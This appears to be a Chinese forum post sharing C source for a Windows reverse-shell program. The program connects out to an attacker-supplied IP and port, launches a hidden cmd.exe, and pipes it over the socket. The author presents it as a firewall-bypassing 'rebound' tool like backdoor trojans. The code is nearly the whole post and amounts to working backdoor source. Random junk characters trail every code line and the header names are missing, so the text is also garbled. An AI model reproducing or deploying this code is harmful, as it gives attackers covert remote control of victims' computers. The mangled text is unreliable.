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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >stVsFdV)  
VTgbJ {?  
/* ============================== V3hm*{ON  
Rebound port in Windows NT :\w[xqH  
By wind,2006/7 #Ot*jb1  
===============================*/ R*TGn_J`  
#include [C~)&2wh>  
#include ^Hhw(@`qf  
>cr_^(UW&  
#pragma comment(lib,"wsock32.lib") >Qbc(}w  
?U9d3] W  
void OutputShell(); .8uwg@yD  
SOCKET sClient;  F>oxnhp6  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5}l#zj  
7)6Yfa]I%  
void main(int argc,char **argv) [E :`jY  
{ h9OL%n 7m'  
WSADATA stWsaData; 0)]C&;}_M  
int nRet; E( 4lu%  
SOCKADDR_IN stSaiClient,stSaiServer; ^*UfCoj9Z  
?GD? J(S  
if(argc != 3) ]OCJ~Zw  
{ \eSk7C  
printf("Useage:\n\rRebound DestIP DestPort\n"); 6xzR*~ 7  
return; K7R])*B.~  
} p31rhe   
SAo \H  
WSAStartup(MAKEWORD(2,2),&stWsaData); I3rnCd(  
rjf=qh5s  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2;(iTPz +  
/5'<w(  
stSaiClient.sin_family = AF_INET; vaCdfO&  
stSaiClient.sin_port = htons(0); _>)"+z^r  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); cZX&itVc:  
o_KcnVQ\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) )s7Tv#[  
{ "drh+oo.  
printf("Bind Socket Failed!\n"); dK(%u9v  
return; j{w,<Wt>  
} eYX_V6c  
$^D(%  
stSaiServer.sin_family = AF_INET; (>5VS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  yLIj4bf  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :AcN b  
t~W4o8<w  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) % oL&~6l$  
{ SoGLsO+R  
printf("Connect Error!"); W;}u 2GH  
return;  |ukdn2Q  
} n; '~"AG)  
OutputShell(); 'GdlqbX(%  
} .yh2ttf<gB  
{S: 3 FI  
void OutputShell() uV$d7(N}"  
{ ]\mb6Hc  
char szBuff[1024]; Fh4w0u*Q  
SECURITY_ATTRIBUTES stSecurityAttributes; ].T;x|  
OSVERSIONINFO stOsversionInfo; 2?7hUaHX  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _M4v1Hr48  
STARTUPINFO stStartupInfo; pz6- hi7  
char *szShell; =|&"/$+s  
PROCESS_INFORMATION stProcessInformation; A_*Lo6uII  
unsigned long lBytesRead; `L[32B9  
p1gX4t]%}a  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); y!c7y]9__2  
}b\q<sNE{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); IS*"_o<AR  
stSecurityAttributes.lpSecurityDescriptor = 0; JOne&{h]J"  
stSecurityAttributes.bInheritHandle = TRUE; hA1hE?c`  
b|@op>UZ  
w,#W&>+&  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j#>![km Mu  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); &EJ,k'7$  
W9m[>-Ew  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ri6 br  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =ZIFS  
stStartupInfo.wShowWindow = SW_HIDE;  eV=sDx  
stStartupInfo.hStdInput = hReadPipe; b0=AQ/:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; jL).B&  
T:~W.3  
GetVersionEx(&stOsversionInfo);  (mD:[|.  
tsC|R~wW  
switch(stOsversionInfo.dwPlatformId) eKti+n.  
{ VP[!ji9P   
case 1: 5$Q`P',*Ua  
szShell = "command.com"; %c2i.E/G  
break; 4qcIoO  
default: x[@3;_'K  
szShell = "cmd.exe"; 4^}PnU7z  
break; }`FC__  
} 'xI+kyu  
cYn}we}7  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N6 (w<b  
k)' z<EL6c  
send(sClient,szMsg,77,0); ZUI9[A?  
while(1) ^X'7>{7Io  
{ WWD@rnsVf  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); moI<b\G@  
if(lBytesRead) _7H J'  
{ OiEaVPSI;  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `rJ ~*7-  
send(sClient,szBuff,lBytesRead,0); J` --O(8Ml  
} oOSyOD  
else ]@T `q R  
{ X1qj l_A  
lBytesRead=recv(sClient,szBuff,1024,0); N^`Efpvg  
if(lBytesRead<=0) break; ,lYU#Hx*  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); &L`p4AZ  
} _\[JMhd}  
} neH"ks5  
S2SQ;s-t_  
return; Z'bMIdV  
}
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